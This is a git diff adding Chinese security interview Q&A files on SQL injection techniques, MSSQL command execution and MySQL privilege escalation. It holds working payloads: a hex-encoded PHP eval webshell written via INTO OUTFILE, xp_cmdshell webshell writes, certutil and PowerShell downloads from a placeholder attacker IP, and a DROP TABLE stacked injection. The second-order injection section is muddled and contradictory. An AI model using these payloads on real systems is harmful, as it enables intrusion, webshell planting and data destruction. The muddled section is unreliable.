就成为我们控制的单引号,可以用来闭合语句 + +**4. 使用反斜线 `\` 绕过 `addslashes`** + +在某些情况下,如果后端代码没有过滤反斜线,你可以通过注入一个反斜线来“吃掉” `addslashes` 自动添加的反斜线 + +**原始查询:** `SELECT * FROM users WHERE id = '...注入点...'` + +**注入尝试:** `id=1\'` + +**服务器端处理:** + +1. PHP 的 `addslashes()` 函数收到 `1'` +2. 它在 `'` 前面加上 `\`,变成 `1\'` +3. 如果前端的输入是 `1\'`, `addslashes` 会将 `\'` 变为 `\\'` + +这个方法需要深入理解后端如何处理输入。如果后端代码只对单引号进行了转义,而没有对反斜线进行处理,你就可以用一个反斜线来闭合它 + +**5. `char()` 函数绕过** + +`char()` 函数可以将数字转换为字符。你可以利用这个函数来构造单引号 + +**注入尝试:** `id=1 and 1=1 and (select char(39))` `id=1 union select 1,2,3 from users where username=char(39)adminchar(39)` + +这种方法通常用于绕过对特定字符串(如 `'`)的过滤,但不能绕过对整个注入语句的过滤 + +**6. 使用 `like` 语句绕过** + +在某些盲注场景下,如果无法使用单引号,可以尝试使用 `like` 语句来代替 `union` 或 `and` + +**注入尝试:** `id=1 and 1 like 1 and 1=1 --` `id=1 and 1 like database()` + +这种方法适用于特定的 SQL 语句结构,但并非万能 \ No newline at end of file diff --git a/Chapter4/4-21.md b/Chapter4/4-21.md new file mode 100644 index 0000000..7152026 --- /dev/null +++ b/Chapter4/4-21.md @@ -0,0 +1,68 @@ +### MySQL 一个 @ 和两个 @ 的区别 + +**`@`(用户自定义变量)** + +一个 `@` 符号代表**用户自定义变量**(User-Defined Variables)。这种变量是用户在当前会话中手动创建的,它的生命周期只存在于当前 MySQL 连接会话中。当会话结束时,变量也会被释放 + +**特点:** + +- **创建与赋值**:可以使用 `SET` 或 `SELECT ... INTO` 语句来赋值 + - `SET @var_name = value;` + - `SELECT column INTO @var_name FROM table;` +- **作用域**:仅在当前连接会话中有效。一个用户设置的 `@var_name` 无法被其他用户连接访问 +- **用途**:常用于存储临时数据、在多条 SQL 语句中传递值,或者在存储过程、函数中作为临时变量 + +**示例:** + +```sql +-- 在当前会话中设置一个变量 +SET @total_price = 100; + +-- 使用该变量进行计算 +SELECT @total_price * 1.1 AS price_with_tax; + +-- 在另一个新的连接中,@total_price 变量是不存在的,它的值为 NULL。 +``` + +**`@@`(系统变量)** + +两个 `@` 符号代表**系统变量**(System Variables)。这些变量是 MySQL 服务器预先定义好的,用于控制服务器的各种行为和状态 + +系统变量分为两种: + +- **全局系统变量 (`@@global.var_name`)**:影响 MySQL 服务器的**所有会话**。需要有 `SUPER` 权限才能修改 +- **会话系统变量 (`@@session.var_name` 或 `@@var_name`)**:仅影响**当前连接会话**。它的值会继承自全局变量,但可以在会话中被单独修改,且不会影响其他会话 + +**特点:** + +- **查看**:可以使用 `SHOW VARIABLES` 或 `SELECT @@var_name` 来查看 +- **修改**:使用 `SET` 语句进行修改 + - `SET GLOBAL max_connections = 200;` + - `SET SESSION sql_mode = 'STRICT_TRANS_TABLES';` + - `SET sql_mode = 'STRICT_TRANS_TABLES';`(`SESSION` 是默认的) +- **用途**:管理和调整数据库的各种配置,如最大连接数、字符集、缓冲区大小、SQL 模式等 + +**示例:** + +```sql +-- 查看当前会话的字符集 +SELECT @@character_set_client; + +-- 查看全局最大连接数 +SELECT @@global.max_connections; + +-- 在当前会话中改变 SQL 模式,不影响其他会话 +SET sql_mode = ''; + +-- 在所有会话中改变 SQL 模式 (需要 SUPER 权限) +SET GLOBAL sql_mode = 'STRICT_TRANS_TABLES'; +``` + +| 特性 | @ (用户变量) | @@ (系统变量) | +| -------- | ----------------------------------- | ----------------------------------- | +| 全称 | User-Defined Variable | System Variable | +| 创建者 | 用户自定义 | MySQL 服务器预定义 | +| 作用域 | 仅当前会话 | 全局或当前会话 | +| 主要用途 | 存储临时数据,方便在多条 SQL 中传递 | 管理和配置服务器行为 | +| 生命周期 | 会话结束即失效 | 随服务器启动而加载 | +| 可否修改 | 用户随时可改 | 全局需要 SUPER 权限,会话可自由修改 | \ No newline at end of file diff --git a/Chapter4/4-22.md b/Chapter4/4-22.md new file mode 100644 index 0000000..a073290 --- /dev/null +++ b/Chapter4/4-22.md @@ -0,0 +1,46 @@ +### 为什么 MMSQL 存储过程可以执行命令 + +**1. `xp_cmdshell` 存储过程** + +这是 MSSQL 中最著名,也是最危险的命令执行功能 + +**原理** + +`xp_cmdshell` 是一个扩展存储过程(e**x**tended **p**rocedure)。它允许你在 SQL Server 内部执行操作系统的 **`cmd.exe`** 命令 + +当你执行 `EXEC xp_cmdshell 'dir c:\'` 时,SQL Server 会: + +1. 启动一个 `cmd.exe` 进程 +2. 将你的命令作为参数传递给 `cmd.exe` +3. 将命令的输出结果以行的形式返回到 SQL Server 的结果集中 + +**使用条件** + +默认情况下,从 SQL Server 2005 开始,`xp_cmdshell` 处于**禁用状态**。要成功利用它,需要满足以下两个条件: + +- **权限**:你必须拥有 **`sysadmin`** 服务器角色或**`CONTROL SERVER`**权限,这是因为 `xp_cmdshell` 默认只授予这些高权限用户 + +- **启用配置**:`xp_cmdshell` 必须通过以下 SQL 命令手动启用: + + ```sql + sp_configure 'show advanced options', 1; + RECONFIGURE; + sp_configure 'xp_cmdshell', 1; + RECONFIGURE; + ``` + +在渗透测试中,如果成功通过 SQL 注入或其他方式获得了高权限,你就可以执行这些命令来启用 `xp_cmdshell`,然后执行任意系统命令 + +**2. 其他相关的危险存储过程** + +除了 `xp_cmdshell`,MSSQL 还有其他一些可以执行命令或辅助命令执行的存储过程,但它们不像 `xp_cmdshell` 那样直接 + +**`sp_addextendedproc`** + +- **原理**:这个存储过程允许你将一个外部 DLL 文件注册为 SQL Server 的扩展存储过程 +- **用途**:如果攻击者能上传一个恶意的 DLL 文件到服务器,就可以利用 `sp_addextendedproc` 将其注册为一个新的扩展存储过程,然后通过执行这个过程来执行恶意代码,从而绕过 `xp_cmdshell` 的禁用限制 + +**CLR 集成(SQL CLR)** + +- **原理**:SQL Server 允许你使用 .NET 语言(如 C#)编写存储过程、函数、触发器等。这些代码可以调用 .NET 框架中的类库,包括那些可以执行系统命令的类,如 `System.Diagnostics.Process` +- **用途**:攻击者可以编写一个恶意的 C# 代码,将其编译成 DLL,然后加载到 SQL Server 中。这是一种更隐蔽、更强大的命令执行方法,因为它不依赖于 `xp_cmdshell` \ No newline at end of file diff --git a/Chapter4/4-23.md b/Chapter4/4-23.md new file mode 100644 index 0000000..35361fa --- /dev/null +++ b/Chapter4/4-23.md @@ -0,0 +1,68 @@ +### 如果想通过 MMSQL 上传文件需要开启哪个存储过程的权限 + +**1. 利用 `xp_cmdshell` 存储过程(最常见)** + +如前面所述,`xp_cmdshell` 是执行系统命令的利器。一旦你获得了执行 `xp_cmdshell` 的权限(通常是 `sysadmin`),就可以通过它来执行命令行下的文件上传操作 + +- **所需权限**:`sysadmin` 服务器角色或 `CONTROL SERVER` 权限,并且 `xp_cmdshell` 必须已启用 + +- **实现方法**: + + - **方法一:利用 `certutil` 下载文件** 这是最常见且非常实用的方法,它利用 Windows 自带的 `certutil.exe` 工具来下载文件 + + ```sql + EXEC xp_cmdshell 'certutil.exe -urlcache -split -f "http://<攻击机IP>/<文件名>" "c:\\<文件保存路径>\\<文件名>"'; + ``` + + 这种方法的好处是,`certutil` 是 Windows 系统自带的,不容易被杀毒软件拦截 + + - **方法二:利用 PowerShell 下载文件** 使用 PowerShell 的 `Invoke-WebRequest` 或 `Net.WebClient` 方法来下载文件 + + ```sql + EXEC xp_cmdshell 'powershell.exe -c "Invoke-WebRequest -Uri http://<攻击机IP>/<文件名> -OutFile c:\\<文件保存路径>\\<文件名>"'; + ``` + + 或者使用更简单的别名: + + ```sql + EXEC xp_cmdshell 'powershell.exe -c "iwr http://<攻击机IP>/<文件名> -OutFile c:\\<文件保存路径>\\<文件名>"'; + ``` + + - **方法三:利用其他命令行工具** 如果目标机器上安装了 `wget`、`curl` 等工具,你也可以使用它们 + +**2. 利用数据库的 `OPENROWSET` 或 `BULK INSERT`** + +这种方法相对不那么常见,但如果 `xp_cmdshell` 被禁用,这是一种可以尝试的备选方案。它主要利用 MSSQL 强大的文件处理能力 + +- **所需权限**: + + - `sysadmin` 或 `bulkadmin` 角色 + - `BULK INSERT` 需要对目标文件夹有写权限,并且 `OPENROWSET` 必须启用 `Ad Hoc Distributed Queries` + +- **实现方法**: + + - **方法一:`OPENROWSET`** 这种方法可以从一个共享网络路径(UNC Path)读取数据,并插入到数据库表中。虽然它主要用于数据导入,但你可以利用它将文件内容导入到数据库,再通过其他方式导出 + + - **方法二:`BULK INSERT`** 和 `OPENROWSET` 类似,`BULK INSERT` 也能从网络共享路径读取文件数据 + + ```sql + BULK INSERT MyTable + FROM '\\<攻击机IP>\share\<文件名>' + WITH ( + ROWTERMINATOR = 'EOF', + DATA_SOURCE = 'MyDataSource' + ); + ``` + + 这种方法需要 MSSQL 服务的运行用户对网络共享路径有读取权限 + +**3. 利用 SQL CLR 集成** + +这是一种高级且隐蔽的上传文件方法。如果你能够执行 SQL CLR 代码,你就可以编写一个 .NET 存储过程,该存储过程包含文件读写功能 + +- **所需权限**:`sysadmin` 或 `EXTERNAL ACCESS ASSEMBLY` 权限 +- **实现方法**: + 1. 用 C# 编写一个可以从 URL 下载文件并保存到本地的 DLL + 2. 将 DLL 文件上传到服务器,或者通过 `xp_cmdshell` 下载 + 3. 使用 SQL 命令将 DLL 注册为 SQL CLR 程序集 + 4. 执行你编写的存储过程,实现文件上传 \ No newline at end of file diff --git a/Chapter4/4-3.md b/Chapter4/4-3.md new file mode 100644 index 0000000..4face8e --- /dev/null +++ b/Chapter4/4-3.md @@ -0,0 +1,67 @@ +### SQL 延时盲注 sleep() 被禁用怎么绕过 + +**1. 利用 BENCHMARK() 函数** + +`BENCHMARK()` 函数是 MySQL 中一个非常有用的性能测试函数。它的作用是让一个函数重复执行多次,并返回执行时间。我们可以利用这个特性来造成可控的延时 + +- **原理:** `BENCHMARK(count, expr)` 会让 `expr` 表达式执行 `count` 次。如果我们让它执行一个耗时但无害的操作,就可以造成明显的延时 + +- **基本语法:** `BENCHMARK(count, expr)` + +- **利用方式:** + + ```sql + # 让 MD5('a') 重复执行 5,000,000 次,从而造成延时 + AND IF(ascii(substr(database(),1,1))=115, BENCHMARK(5000000, MD5('a')), 1) + ``` + + **解释:** + + - `IF(condition, true_value, false_value)`:这是一个条件判断语句 + - `ascii(substr(database(),1,1))=115`:这是我们的注入条件,判断数据库名的第一个字符的 ASCII 值是否为 115(即 `'s'`) + - 如果条件为真,`BENCHMARK()` 函数被执行,导致页面延迟;如果条件为假,则立即返回 `1`,页面没有延迟 + +**2. 利用 GET_LOCK() 函数** + +`GET_LOCK()` 函数是 MySQL 中的一个锁函数。它可以获取一个指定的锁,并在指定的超时时间内等待。如果锁被其他会话占用,它就会一直等待直到超时。我们可以利用这个特性来造成延时 + +- **原理:** `GET_LOCK(str, timeout)` 函数尝试获取一个名为 `str` 的锁,并等待 `timeout` 秒 + +- **利用方式:** + + ```sql + # 如果条件为真,则获取一个名为 'a' 的锁并等待 5 秒 + AND IF(ascii(substr(database(),1,1))=115, GET_LOCK('a', 5), 1) + ``` + + 这种方法的缺点是,如果多个请求同时执行,可能会因为锁竞争而造成不可预知的行为 + +**3. 利用 RLIKE/REGEXP 的正则特性** + +当使用 `RLIKE` 或 `REGEXP` 进行正则表达式匹配时,如果正则表达式足够复杂,并且目标字符串足够长,也会造成明显的性能消耗,从而实现延时效果 + +- **原理:** 构造一个回溯(backtracking)量较大的正则表达式,让 MySQL 在匹配时消耗大量 CPU 资源 + +- **利用方式:** + + ```sql + # 构造一个高回溯的正则表达式来消耗 CPU + AND IF(ascii(substr(database(),1,1))=115, (SELECT concat(rpad('',4999999,'a'),rpad('',4999999,'a'),'a') RLIKE '(a.*)+(a.*)+'), 1) + ``` + + **解释:** `rpad()` 函数用于填充字符串,使其变得很长。`RLIKE '(a.*)+(a.*)+'` 是一个典型的回溯型正则表达式。当字符串很长时,匹配会非常耗时 + +**4. 利用笛卡尔积** + +通过制造一个巨大的笛卡尔积,可以使查询的执行时间大大增加 + +- **原理:** 当两个大表没有关联地进行连接时,结果集的行数是两个表行数的乘积 + +- **利用方式:** + + ```sql + # 使用 information_schema.tables 来制造一个笛卡尔积 + AND IF(ascii(substr(database(),1,1))=115, (SELECT COUNT(*) FROM information_schema.tables a, information_schema.columns b), 1) + ``` + + 这种方法同样会造成明显的延迟,但查询结果可能会占用大量内存 \ No newline at end of file diff --git a/Chapter4/4-4.md b/Chapter4/4-4.md new file mode 100644 index 0000000..0ee679b --- /dev/null +++ b/Chapter4/4-4.md @@ -0,0 +1,101 @@ +### SQL 注入怎么写入 WebShell + +这种攻击方式的成功与否,主要取决于以下几个前提条件: + +- **数据库账户权限**:当前连接数据库的账户必须具备 `File` 权限,或者说有权限执行 `LOAD_FILE()`、`INTO OUTFILE` 或 `INTO DUMPFILE` 等文件操作函数 +- **目标路径可写**:网站服务器上的目标路径必须是可写的,且不能被权限系统限制 +- **WAF 或防护软件**:没有强大的 WAF (Web Application Firewall) 或其他安全软件拦截注入语句 + +**1. MySQL:`INTO OUTFILE`** + +这是最常用且最直接的写入 WebShell 的方法。`INTO OUTFILE` 语句能够将查询结果导出到一个指定的文件中 + +**利用步骤:** + +1. **判断权限**:首先,需要判断当前数据库用户是否具有 `File` 权限。可以尝试执行以下语句: + + ```sql + ?id=1' AND (SELECT count(*) FROM mysql.user)>0--+ + ``` + + 如果返回正常,则可以初步判断有权限。更直接的方式是尝试利用 `@@basedir` 或 `@@datadir` 查看路径是否可写 + +2. **获取网站绝对路径**:如果不知道网站的绝对路径,可以尝试利用报错或联合查询来获取 + + ```sql + # 利用报错获取 + ?id=1' AND (SELECT 1 FROM (SELECT count(*), concat(@@basedir,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)--+ + ``` + + 或者尝试猜测一些常见的路径,例如 `/var/www/html/`、`C:/inetpub/wwwroot/` 等 + +3. **构造注入语句**:将包含 WebShell 代码的字符串作为查询结果,然后使用 `INTO OUTFILE` 导出到目标路径 + + ```sql + # 假设我们想写入一个名为 shell.php 的文件 + ?id=1' UNION SELECT 1, '' INTO OUTFILE '/var/www/html/shell.php'--+ + ``` + + **注意:** + + - `INTO OUTFILE` 导出时会以行的形式输出,每行末尾会有换行符,且不能覆盖已有文件。为了解决这个问题,通常会结合十六进制编码或 `LOAD_FILE()` 来绕过 + - 为了避免转义和换行问题,WebShell 代码通常会用十六进制进行编码 + + ```sql + ?id=1' UNION SELECT 1, 0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e INTO OUTFILE '/var/www/html/shell.php'--+ + ``` + +**2. SQL Server:`xp_cmdshell`** + +`xp_cmdshell` 是 SQL Server 的一个扩展存储过程,它允许在数据库中执行操作系统命令。如果它被启用,攻击者就可以直接执行命令来写入 WebShell + +#### **利用步骤:** + +1. **判断 `xp_cmdshell` 是否启用**:默认情况下,`xp_cmdshell` 是禁用的 + + ```sql + ;EXEC xp_cmdshell 'dir c:'-- + ``` + + 如果执行成功,说明已启用。如果没有,则需要尝试启用它 + +2. **启用 `xp_cmdshell`**: + + ```sql + ;EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE-- + ``` + + **注意:** 启用 `xp_cmdshell` 需要较高的权限(通常是 `sysadmin` 角色) + +3. **写入 WebShell**:启用 `xp_cmdshell` 后,可以使用 `echo` 命令将 WebShell 代码写入文件 + + ```sql + ;EXEC xp_cmdshell 'echo ^<^?php eval($_POST[cmd])?^> > C:\inetpub\wwwroot\shell.asp'-- + ``` + + `^` 是为了转义特殊字符 `<`、`>` 等 + +**3. SQL Server:`sp_OACreate`** + +如果 `xp_cmdshell` 被禁用,攻击者还可以利用 `sp_OACreate` 等 OLE 自动化存储过程来执行命令 + +- **利用方式**:利用 `sp_OACreate` 创建一个 `WScript.Shell` 对象,然后通过其 `Run` 方法执行命令 + + ```sql + ;DECLARE @o INT; EXEC sp_OACreate 'WScript.Shell', @o OUT; EXEC sp_OAMethod @o, 'Run', NULL, 'cmd.exe /c echo ^<^?php eval($_POST[cmd])?^> > C:\inetpub\wwwroot\shell.asp'-- + ``` + +**4. PostgreSQL:`COPY TO`** + +PostgreSQL 提供了 `COPY TO` 命令,用于将表数据导出到文件中 + +- **利用方式**: + + 1. 创建一个临时表,并将 WebShell 代码插入其中 + 2. 利用 `COPY TO` 命令将数据导出到目标文件 + + ```sql + '; CREATE TABLE shell (cmd text); INSERT INTO shell VALUES (''); COPY shell TO '/var/www/html/shell.php';-- + ``` + + **注意:** 执行 `COPY` 命令需要 `superuser` 权限,且目标路径必须是数据库服务器可读写的 \ No newline at end of file diff --git a/Chapter4/4-5.md b/Chapter4/4-5.md new file mode 100644 index 0000000..241bd58 --- /dev/null +++ b/Chapter4/4-5.md @@ -0,0 +1,39 @@ +### 宽字节注入漏洞原理 + +我们通过一个经典的例子来解释这个漏洞 + +假设一个 PHP 应用在接收用户输入后,使用了 `addslashes()` 或 `mysql_real_escape_string()` 等函数来对单引号进行转义 + +**正常情况下的过滤:** + +当用户输入 `'`(单引号)时,后端会被转义成 `\'` + +- **输入:** `id=1'` +- **转义后:** `id=1\'` +- **SQL 查询:** `SELECT * FROM users WHERE id = '1\''` + +这句 SQL 语句是合法的,因为 `\'` 被视为一个转义后的单引号,从而导致查询失败,注入被阻止 + +**宽字节注入的绕过:** + +当后端数据库使用 GBK 编码时,我们可以利用一个特殊字符来“吃掉”转义符 `\` + +- **输入:** 我们在单引号前加一个十六进制的宽字节,例如 `%df` + +- **完整的输入:** `id=1%df'` + +- **URL解码后:** `id=1'` (这里 `` 是 `0xdf` 的GBK编码,具体字符取决于浏览器) + +- **`addslashes()` 处理后:** `addslashes()` 只会将单引号 `'` 转义成 `\'`。 此时,字符串变为 `1%df\'` + + - **在内存中,它的十六进制表示是:** `31 25 64 66 5c 27` + - **但在GBK编码环境下,数据库会重新解释这个字符串** + + MySQL 在接收到这个字符串时,会把它当作 GBK 编码进行解析。它会发现 `%df`(`0xdf`)是一个宽字节的开头,并且紧接着的 `\`(`0x5c`)恰好在GBK编码的合法范围内,可以和 `0xdf` 组成一个合法的汉字 + + - **`%df%5c`** (`0xdf` 和 `0x5c`) 在GBK编码中是一个合法的汉字,例如“運” + - **结果:** `1%df\'` 在数据库看来就变成了 `1` + **一个汉字** + `'` + +- **最终的 SQL 查询:** `SELECT * FROM users WHERE id = '1運''` + + 此时,被转义的单引号 `'` 重新获得了生命,因为它不再被认为是转义符的一部分。攻击者就可以继续使用后面的单引号进行SQL注入 \ No newline at end of file diff --git a/Chapter4/4-6.md b/Chapter4/4-6.md new file mode 100644 index 0000000..5a939c3 --- /dev/null +++ b/Chapter4/4-6.md @@ -0,0 +1,43 @@ +### 二次注入漏洞原理 + +我们通过一个经典的案例来解释这个过程 + +假设有一个网站,允许用户注册并修改个人信息,其中包含用户名 + +**第一阶段:数据注入** + +1. **用户注册**:注册时,应用对用户名进行了严格的过滤,阻止了单引号和一些 SQL 关键字 +2. **攻击者构造恶意用户名**:攻击者注册一个名为 `test' and 1=1--` 的账户。由于注册时的过滤机制,攻击者无法直接注入 +3. **攻击者换一种方式**:攻击者注册一个名为 `test` 的账户。然后,在修改用户名的功能中,他将用户名修改为 `test' and 1=1--` +4. **应用处理**:假设应用在**更新操作**时对用户输入做了严格的过滤,但数据库中的**新增操作**没有。攻击者在第一次新增时,输入一个看似无害的用户名,例如 `test` + +**漏洞的真正利用**: + +现在,假设应用有一个功能,允许用户修改自己的个人信息,而这个功能在设计时存在缺陷 + +- **正常的修改用户信息 SQL 语句**: + + ```sql + UPDATE users SET email = 'user@example.com' WHERE username = 'test'; + ``` + +- **攻击者如何利用**: + + 1. **第一次注入**:攻击者注册一个名为 `test` 的账户。这个数据被安全地存储在数据库中 + 2. **第二次注入**:攻击者找到一个功能,例如“修改评论”,而这个功能会将评论内容与用户名关联起来。假设评论表是 `comments`,并且 `username` 列没有做任何过滤 + + 攻击者提交了一条评论,内容为 `' or 1=1--`。数据库执行了如下语句: + + ```sql + INSERT INTO comments (username, content) VALUES ('test', '' or 1=1--'); + ``` + + 此时,恶意数据 `' or 1=1--` 被安全地存储在了 `comments` 表中 + + 1. **触发漏洞**:现在,应用中有一个**管理员审核评论**的功能。管理员点击审核按钮后,后端会执行一个不安全的查询,例如: + + ```sql + SELECT * FROM comments WHERE content = '' or 1=1--'; + ``` + + 这条查询语句由于没有对 `content` 字段进行二次过滤,导致 `or 1=1--` 被当作 SQL 语句的一部分,从而绕过了原本的逻辑,直接获取了 `comments` 表中的所有数据,甚至可以被进一步利用进行数据泄露或篡改 \ No newline at end of file diff --git a/Chapter4/4-7.md b/Chapter4/4-7.md new file mode 100644 index 0000000..d8435ec --- /dev/null +++ b/Chapter4/4-7.md @@ -0,0 +1,26 @@ +### 堆叠注入漏洞原理 + +**正常查询** + +假设一个网站的查询语句是这样拼接的: + +```sql +SELECT * FROM users WHERE id = '用户输入'; +``` + +如果用户输入 `1`,执行的 SQL 语句就是: + +```sql +SELECT * FROM users WHERE id = '1'; +``` + +**堆叠注入攻击** + +如果攻击者在输入框中输入 `1; DROP TABLE users`,并且后端没有过滤分号,最终执行的 SQL 语句就会变成: + +```sql +SELECT * FROM users WHERE id = '1'; +DROP TABLE users; +``` + +数据库服务器会按顺序执行这两条语句。第一条是正常的查询,第二条则是**删除 `users` 表**的恶意命令 \ No newline at end of file diff --git a/Chapter4/4-8.md b/Chapter4/4-8.md new file mode 100644 index 0000000..ed146d3 --- /dev/null +++ b/Chapter4/4-8.md @@ -0,0 +1,30 @@ +### SQLMap 参数 level 与 risk 区别 + +**level (探测等级)** + +`level` 选项用于指定 `sqlmap` **测试的深度**,范围从1到5。`level` 值越高,`sqlmap` 会尝试更多的 Payload,但同时也会增加请求的数量和测试时间 + +- **Level 1**:默认等级,会测试一些基本的 Payload,比如单引号 `'` 和双引号 `"`。这适用于快速探测,通常不会对应用造成太大影响 +- **Level 2**:会增加基于时间的 Payload,用于测试盲注 +- **Level 3**:会测试 `AND/OR` 布尔盲注以及一些常见的报错注入 Payload +- **Level 4**:会测试一些不常见的、复杂的 Payload,例如基于 `UNION` 查询的 Payload +- **Level 5**:最高等级,会测试所有的 Payload,包括一些非常规的、可能导致应用崩溃的 Payload + +**总结**:`level` 决定了 `sqlmap` 攻击的**深度和复杂性**,它告诉 `sqlmap` **应该使用多少种不同的技术**来探测漏洞 + +**risk (危险等级)** + +`risk` 选项用于指定 `sqlmap` **执行 Payload 的危险程度**,范围从1到3。`risk` 值越高,`sqlmap` 会使用一些可能对数据库**造成修改或破坏**的 Payload + +- **Risk 1**:默认等级,`sqlmap` 只会使用那些不会对数据库数据造成修改的 Payload。例如,`UNION` 查询、布尔盲注等 +- **Risk 2**:会增加一些可能造成轻微数据修改的 Payload,比如**基于 `GET` 或 `POST` 参数的更新语句** +- **Risk 3**:最高等级,会尝试**可能对数据库造成重大破坏**的 Payload,例如 `DELETE`、`INSERT` 和 `UPDATE` 等。在没有明确授权的情况下,不建议使用这个等级 + +**总结**:`risk` 决定了 `sqlmap` 攻击的**潜在危害性**,它告诉 `sqlmap` **可以执行多“危险”的操作** + +| 特征 | level (探测等级) | risk (危险等级) | +| -------- | ------------------------------------ | ------------------------------ | +| 关注点 | 攻击深度和技术类型 | 攻击危险性和破坏程度 | +| 决定因素 | 攻击手法(布尔、时间、报错、联合等) | 攻击操作(查询、更新、删除等) | +| 默认值 | 1 | 1 | +| 常用组合 | level 3 或更高 | risk 2 或更高 | \ No newline at end of file diff --git a/Chapter4/4-9.md b/Chapter4/4-9.md new file mode 100644 index 0000000..909cfe6 --- /dev/null +++ b/Chapter4/4-9.md @@ -0,0 +1,47 @@ +### MySQL 提权方式有哪些 + +**1. UDF 提权(User-Defined Function)** + +UDF 提权是 MySQL 提权最常见且最有效的方式之一。它利用了 MySQL 允许用户通过 C/C++ 编写自定义函数并加载到数据库中执行的特性 + +- **前提条件:** + + - **高权限**:当前 MySQL 用户账户必须具备 `CREATE FUNCTION` 和 `FILE` 权限 + - **可写目录**:需要将恶意 UDF 库文件(`.dll` 或 `.so`)写入到 MySQL 插件目录中 + +- **攻击步骤:** + + 1. **上传 UDF 库文件**:攻击者利用 SQL 注入或文件写入漏洞,将一个包含恶意系统命令执行功能的 UDF 库文件(例如 `lib_mysqludf_sys.so` 或 `mysql.dll`)上传到 MySQL 服务器的可写目录,通常是插件目录 (`/usr/lib/mysql/plugin/`) 或其他可写目录 + + 2. **创建自定义函数**:使用 SQL 语句,调用 `CREATE FUNCTION` 命令,将上传的 UDF 库文件中的恶意函数(如 `sys_exec` 或 `sys_eval`)注册为 MySQL 函数 + + ```sql + CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so'; + ``` + + 3. **执行系统命令**:通过调用新创建的函数,执行任意系统命令,从而实现提权 + + ```sql + SELECT sys_eval('whoami'); + ``` + +- **防御方法:** + + - **最小权限原则**:不要授予 MySQL 用户 `FILE` 或 `SUPER` 等高权限 + - **加固配置**:修改 `my.cnf` 文件,设置 `secure_file_priv` 为空或一个指定的安全目录,以限制文件导入导出功能 + +**2. MOF 提权(Managed Object Format)** + +MOF 提权是针对 Windows 服务器的一种特定提权方式,利用了 Windows Server 2003/2008 上的一些服务配置不当 + +- **前提条件:** + - **Windows 服务器**:目标服务器必须是 Windows 系统 + - **可写目录**:攻击者必须能够将恶意 MOF 文件写入到 `%systemroot%\system32\wbem\mof` 目录下 + - **MySQL 权限**:需要有 `FILE` 权限,以写入文件 +- **攻击步骤:** + 1. **编写恶意 MOF 文件**:MOF 是 Windows 管理规范(WMI)使用的文件格式。攻击者可以编写一个恶意的 MOF 文件,让其在被系统加载时,自动执行一个指定的命令,比如创建一个新的管理员用户 + 2. **上传 MOF 文件**:利用 `SELECT ... INTO OUTFILE` 语句,将恶意 MOF 文件写入到 `%systemroot%\system32\wbem\mof` 目录下 + 3. **服务触发**:Windows 的 `CIMOM` 服务会周期性地扫描该目录下的 MOF 文件,并自动执行其内容。当恶意 MOF 文件被执行后,攻击者指定的命令就会被执行,从而实现提权 +- **防御方法:** + - **最小权限原则**:不要授予 MySQL 用户 `FILE` 权限 + - **更新系统**:该漏洞在较新的 Windows 系统版本中已被修复 \ No newline at end of file diff --git a/Chapter4/README.md b/Chapter4/README.md index 8b13789..9eecb4f 100644 --- a/Chapter4/README.md +++ b/Chapter4/README.md @@ -1 +1,20 @@ +# 网安面试题(涵盖护网、红队、逆向、二进制) +上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!! + +HR:请问………… + +我:叽里咕噜说啥呢,看看八股文上写了没 + +(Summary.md 是目录噢!!) + +**🙏 特别感谢名单** + +在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后) + +- **@用户名1** —— 提供了大量安全面试题方向的补充 +- **@用户名2** —— 纠正了多个问题的答案与表述 +- **@用户名3** —— 贡献了真实面试题经验分享 +- **@用户名4** —— 对内容结构与目录提出改进建议 + +如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字